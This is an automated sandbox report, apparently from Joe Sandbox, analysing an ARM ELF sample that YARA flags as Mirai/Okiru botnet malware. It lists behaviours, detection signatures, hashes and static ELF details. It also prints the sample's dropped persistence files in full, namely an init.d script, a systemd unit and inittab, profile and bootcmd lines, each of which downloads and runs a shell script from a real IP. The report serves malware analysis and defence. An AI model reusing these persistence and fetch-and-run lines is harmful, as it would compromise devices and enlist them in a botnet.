Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5691/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6342/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5891/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6146/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5970/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6346/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6103/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5729/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5807/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5687/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6018/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6139/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5688/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/6336/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5689/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5723/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5889/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5725/status	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520)	File opened: /proc/5923/status	Jump to behavior

Source: /tmp/arm.nn.elf (PID: 5461)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5495)	Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5502)	Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5505)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm.nn.elf'\n /tmp/arm.nn.elf &\n wget http://154.216.19.140/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm.nn.elf'\n killall arm.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm.nn.elf"	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5507)	Shell command executed: sh -c "chmod +x /etc/init.d/arm.nn.elf >/dev/null 2>&1"	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5510)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5513)	Shell command executed: sh -c "ln -s /etc/init.d/arm.nn.elf /etc/rc.d/S99arm.nn.elf >/dev/null 2>&1"	Jump to behavior

Source: /bin/sh (PID: 5501)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary			Jump to behavior
Source: /bin/sh (PID: 5509)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm.nn.elf			Jump to behavior

Source: /bin/sh (PID: 5512)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Source: /bin/sh (PID: 5473)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Source: /tmp/arm.nn.elf (PID: 5427)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5501)	File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5509)	File: /etc/init.d/arm.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/arm.nn.elf (PID: 5427)	Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary	Jump to dropped file
Source: /tmp/arm.nn.elf (PID: 5427)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 5505)	Writes shell script file to disk with an unusual file extension: /etc/init.d/arm.nn.elf	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/arm.nn.elf (PID: 5427)	File: /etc/init.d/mybinary			Jump to dropped file
Source: /bin/sh (PID: 5505)	File: /etc/init.d/arm.nn.elf			Jump to dropped file

Source: /tmp/arm.nn.elf (PID: 5688)	Sleeps longer then 60s: 250.0s	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5751)	Sleeps longer then 60s: 200.0s	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5816)	Sleeps longer then 60s: 250.0s	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5889)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5981)	Sleeps longer then 60s: 200.0s	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6139)	Sleeps longer then 60s: 120.0s	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6154)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6178)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6202)	Sleeps longer then 60s: 120.0s	Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6232)	Sleeps longer then 60s: 100.0s	Jump to behavior

Source: /tmp/arm.nn.elf (PID: 5427)

Queries kernel information via 'uname':

Jump to behavior

Source: arm.nn.elf, 6045.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp	Binary or memory string: !/proc/1748/exe0!/proc/726/exe1/usr/libexec/geoclue-2.0/demos/agent!/usr/bin/ibus-daemon!/usr/bin1/proc/802/exe/arm/usr/bin0!/usr/bin/VGAuthService1/proc/3161/exe/arm/sr10!/proc/1745/exe0!/proc/727/exe1/usr/lib/bluetoothm/ro10!/usr/bin/gnome-shell!/usr/bin/vmtoolsd1/usr/lib/x86_64-linux-gnu/tumbler-1!/proc/1691/exe0!/proc/765/exe
Source: arm.nn.elf, 5445.1.00007fbd2c03e000.00007fbd2c044000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm(<
Source: arm.nn.elf, 5427.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.D5Kv2w
Source: arm.nn.elf, 5427.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp	Binary or memory string: V/tmp/qemu-open.D5Kv2w
Source: arm.nn.elf, 5427.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp, arm.nn.elf, 5445.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp, arm.nn.elf, 5880.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp, arm.nn.elf, 5889.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp, arm.nn.elf, 6018.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp, arm.nn.elf, 6045.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.nn.elf
Source: arm.nn.elf, 6045.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: arm.nn.elf, 5427.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp, arm.nn.elf, 5445.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp, arm.nn.elf, 5880.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp, arm.nn.elf, 5889.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp, arm.nn.elf, 6018.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp, arm.nn.elf, 6045.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.nn.elf, 5427.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp, arm.nn.elf, 5445.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp, arm.nn.elf, 5880.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp, arm.nn.elf, 5889.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp, arm.nn.elf, 6018.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp, arm.nn.elf, 6045.1.00005604e0e85000.00005604e0fd3000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: arm.nn.elf, 5427.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp, arm.nn.elf, 5445.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp, arm.nn.elf, 5445.1.00007fbd2c03e000.00007fbd2c044000.rw-.sdmp, arm.nn.elf, 5880.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp, arm.nn.elf, 5889.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp, arm.nn.elf, 6018.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp, arm.nn.elf, 6045.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm.nn.elf, 5427.1.00007ffdf3b08000.00007ffdf3b29000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm.nn.elf, 5445.1.00007fbd2c03a000.00007fbd2c03e000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd8

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm.nn.elf, type: SAMPLE
Source: Yara match	File source: 5427.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5889.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5880.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6045.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5445.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6018.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY

Yara detected Okiru

Source: Yara match	File source: arm.nn.elf, type: SAMPLE
Source: Yara match	File source: 5427.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5889.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5880.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6045.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5445.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6018.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 5427, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 5445, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 5880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 5889, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 6018, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 6045, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm.nn.elf, type: SAMPLE
Source: Yara match	File source: 5427.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5889.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5880.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6045.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5445.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6018.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY

Yara detected Okiru

Source: Yara match	File source: arm.nn.elf, type: SAMPLE
Source: Yara match	File source: 5427.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5889.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5880.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6045.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5445.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6018.1.00007fbd2c017000.00007fbd2c032000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 5427, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 5445, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 5880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 5889, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 6018, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.nn.elf PID: 6045, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Systemd Service	1 Systemd Service	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Scripting	Logon Script (Windows)	2 File and Directory Permissions Modification	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm.nn.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

Source	Detection	Scanner	Label	Link
/etc/rc.local	0%	ReversingLabs
/etc/rc.local	0%	Virustotal		Browse

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Link
http://154.216.19.140/	10%	Virustotal	Browse
http://154.216.19.140/lol.sh	4%	Virustotal	Browse
http://154.216.19.140/curl.sh	11%	Virustotal	Browse

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://154.216.19.140/curl.sh	arm.nn.elf	false	11%, Virustotal, Browse	unknown
http://154.216.19.140/lol.sh	arm.nn.elf	false	4%, Virustotal, Browse	unknown
http://154.216.19.140/	arm.nn.elf, profile.12.dr, inittab.12.dr, arm.nn.elf.36.dr, bootcmd.12.dr, mybinary.12.dr, custom.service.12.dr	false	10%, Virustotal, Browse	unknown

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/etc/rc.local	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	mipsel.nn.elf	Get hash	malicious	Okiru	Browse
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse
	mips.nn.elf	Get hash	malicious	Okiru	Browse
	arm5.nn.elf	Get hash	malicious	Okiru	Browse
	arm.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse

Created / dropped Files

/boot/bootcmd

Download File

Process:	/tmp/arm.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	119
Entropy (8bit):	4.635626443373099
Encrypted:	false
SSDEEP:	3:KPJRX7/LsDFDDoC2ROLUc/KILbaaFOdFXa5O:WJRsZforK/baaeXCO
MD5:	F551F8ABFCCC40134B43DE18FAAB5137
SHA1:	DF4AFD70A5FC55CFB5197C0E447E7DBF88ABF162
SHA-256:	514CF77A503296EA0B148CAA7BB00E22087962945B3A3A82D23B3F371DD2379F
SHA-512:	DFA1752E0311B3579341770E4CB51F21D0477A376AA673463C2CF56AFE13722611F26B442503E518CD0CBE9F77FCD1A2BCAF56CFA1CB6E68279E0F6833114FC2
Malicious:	false
Reputation:	low
Preview:	run bootcmd_mmc0; /tmp/arm.nn.elf && wget http://154.216.19.140/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/init.d/arm.nn.elf

Download File

Process:	/bin/sh
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	395
Entropy (8bit):	4.508341340864527
Encrypted:	false
SSDEEP:	12:QRkuXXNxnJ/UJgjvMX22FMuKN+dRRucSOyd3:qmIyX3YOM3
MD5:	1FCEEDC8F2BD62E1D314E408D31A65FF
SHA1:	DD85DB2BA5A369676BB1E243D7E51588EFB7554B
SHA-256:	D98B2D1E37A42B7105CF71DCA8207BEC92CF569A758788CD0E06CD6F5A7959D2
SHA-512:	7E88AB057E0F91EE11BF2ADAAB93188F1F1F5B04EBA3E6B138E31CD58B2094A8C00727C73636EC1C42CE4115BAB546C49B687688E737DD0C64E8A6AFA5FBD7BD
Malicious:	true
Reputation:	low
Preview:	#!/bin/sh.# /etc/init.d/arm.nn.elf..case "" in. start). echo 'Starting arm.nn.elf'. /tmp/arm.nn.elf &. wget http://154.216.19.140/ -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping arm.nn.elf'. killall arm.nn.elf. ;;. restart). sh stop. sh start. ;;. *). echo "Usage: sh {start\|stop\|restart}". exit 1. ;;.esac.exit 0.

/etc/init.d/mybinary

Download File

Process:	/tmp/arm.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	106
Entropy (8bit):	4.651940377594003
Encrypted:	false
SSDEEP:	3:TKH4vZK7/LsDFDvSDRFbROLUc/KILpaKB0dFLoKE0:h8sZzSXbK/zBeLXE0
MD5:	236B3CC3B06252EDD3B9DE245D3E46B8
SHA1:	B1207126696A044232B47E10DB8ED9BE991E0E00
SHA-256:	A410E6F601D9AB69C4BAA4BBADE4B53A352B8257112F72AA010A0DA831A85627
SHA-512:	7198C38C88E13020FD64B110D34E585AD6E37E0138810BCC2CF9A31993769C1EB1F7DE5E979F53A2E46DFA5D5595DAA16CEF56F7CE5BAC53EE553EF5D158ADFE
Malicious:	true
Reputation:	low
Preview:	#!/bin/sh./tmp/arm.nn.elf &.wget http://154.216.19.140/ -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.

/etc/inittab

Download File

Process:	/tmp/arm.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.568657262651263
Encrypted:	false
SSDEEP:	3:nAWu5d/LsDFDDoC2ROLUc/KILbaaFOdFXa5O:AUZforK/baaeXCO
MD5:	1A74AE1C78CE0091B37C6DDAB5B6A4BD
SHA1:	A7139DA46E5213406FB2CEB1A23A95774C93DD8A
SHA-256:	C11E467387D76AA4ABE2A90A04BD2918B54ABD5E37ADEA8B5BB31FF3703DB160
SHA-512:	7A805E970C97EC0897517C91C7597358D481C04523288208AD8BF681D9469B0272BF27873DD9A1830EC57D6F846F0CB44662C166D5CAADE1D78F5CC68D695D37
Malicious:	false
Reputation:	low
Preview:	::respawn:/tmp/arm.nn.elf && wget http://154.216.19.140/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/motd

Download File

Process:	/tmp/arm.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.871459242626451
Encrypted:	false
SSDEEP:	3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
MD5:	2BD9B4BE30579E633FC0191AA93DF486
SHA1:	7D63A9BD9662E86666B27C1B50DB8E7370C624FF
SHA-256:	64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
SHA-512:	AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	gorilla botnet is on the device ur not a cat go away.

/etc/profile

Download File

Process:	/tmp/arm.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	102
Entropy (8bit):	4.491992175515438
Encrypted:	false
SSDEEP:	3:Tg7/LsDFDvSDRFbROLUc/KILbaaFOdFXa50:TgsZzSXbK/baaeXC0
MD5:	FC8415FCA82354EFC0D8743729E646EF
SHA1:	DCF5EAD97640A8258A3EE27CAD8117E8A19D8E84
SHA-256:	6FE5E74C3E23E54D110DFAB9F2E703154B9714555F73B9CB967973CDA0AF616F
SHA-512:	8128A2152E6CC05E6AC6BE9A59FB812E7CD1ABC65D2252C8F4E75BF3301E219592CB43A5DF26F3127EEE9C00562B78425949B08B5066C5C55C2E8C5EA5E96251
Malicious:	true
Reputation:	low
Preview:	/tmp/arm.nn.elf &.wget http://154.216.19.140/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.

/etc/rc.local

Download File

Process:	/tmp/arm.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.121928094887362
Encrypted:	false
SSDEEP:	3:TKH4vn:hv
MD5:	3E2B31C72181B87149FF995E7202C0E3
SHA1:	BD971BEC88149956458A10FC9C5ECB3EB99DD452
SHA-256:	A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
SHA-512:	543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: arm5.nn.elf, Detection: malicious, Browse Filename: mipsel.nn.elf, Detection: malicious, Browse Filename: arm7.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: mips.nn.elf, Detection: malicious, Browse Filename: arm5.nn.elf, Detection: malicious, Browse Filename: arm.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh.

/etc/systemd/system/custom.service

Download File

Process:	/tmp/arm.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.041050524772764
Encrypted:	false
SSDEEP:	6:z8ifitRZAMzdK+Yz02+GWRdO4p+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+gp+GWRdJp+GWRXY+GWRuL6
MD5:	FDB02D36243EBDC369050AADA9997A04
SHA1:	4C9A51F44E5E8CABDAD1E9917986F1384750BEA5
SHA-256:	B144D232A72B159AE93C251BB88A64172143C4320384D8A5F9F31ECE1B64E1FF
SHA-512:	89056EC33126555F25F0ACB6922D7B52D5C1A13B5143B1D825E242EFCFB694A258E0139B433D22082019B7AC79323EC98E0015382D1706781038050472AE3D71
Malicious:	false
Reputation:	low
Preview:	[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/tmp/arm.nn.elf.ExecStartPost=/usr/bin/wget -O /tmp/lol.sh http://154.216.19.140/.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/qemu-open.D5Kv2w (deleted)

Download File

Process:	/tmp/arm.nn.elf
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.5
Encrypted:	false
SSDEEP:	3:Tg7/LsDln:Tgs5n
MD5:	5A9E68CC61A24B23E7CE850CBE55CD38
SHA1:	7D53E57B760618566E5B635118604478EE1175B1
SHA-256:	300279D18C7FC46D9F271DFDD3D803874D1B222B3512385D9FFFEED712EF1D97
SHA-512:	09970D3B321DA48BAEB46B368CF5C40CCB90A0EB76300D7F5B03441FE9161AA5FD26C152CE83DC681397FD2FA81B6AD824092660285B1562F4D326C60517C7F3
Malicious:	false
Preview:	/tmp/arm.nn.elf.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.222835197728757
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm.nn.elf
File size:	108'660 bytes
MD5:	fa572b646bbb73d97a1bb5e4ac38883f
SHA1:	ed43abbd7a464ffedfe22099c2c33af3cbcbd70d
SHA256:	f52cf4400acc178aa397fee66c52ac0bc61b1435968c2b76bd79229bac28409d
SHA512:	e97cb03e76aeeafd852c98f38bdf51af18a6ca15745bb6d0a33dbe5918eb91c3d8966bd1615363a20695ae3d32321f0ea01cee6e6ae8c7ba27e983f84fe91c10
SSDEEP:	1536:V0fMAGT26aU1lu6oQRkGWfp3jFTmTeKhNOzD/5kTfIKvDUCennqlRAS:V0fM93+p3j5mT7ccTDLennjS
TLSH:	F9B32A52B9819623C6D626BBF66E02CD372613B8D3EF3217CD15AF24378682B0D7B541
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................@...@...............D...D...D...`....(..........Q.td..................................-...L."....Z..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	108260
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x16c30	0x0	0x6	AX	16
.fini	PROGBITS	0x1ece0	0x16ce0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1ecf4	0x16cf4	0x334c	0x0	0x2	A	4
.ctors	PROGBITS	0x2a044	0x1a044	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2a04c	0x1a04c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x2a058	0x1a058	0x64c	0x0	0x3	WA	4
.bss	NOBITS	0x2a6a4	0x1a6a4	0x2228	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1a6a4	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
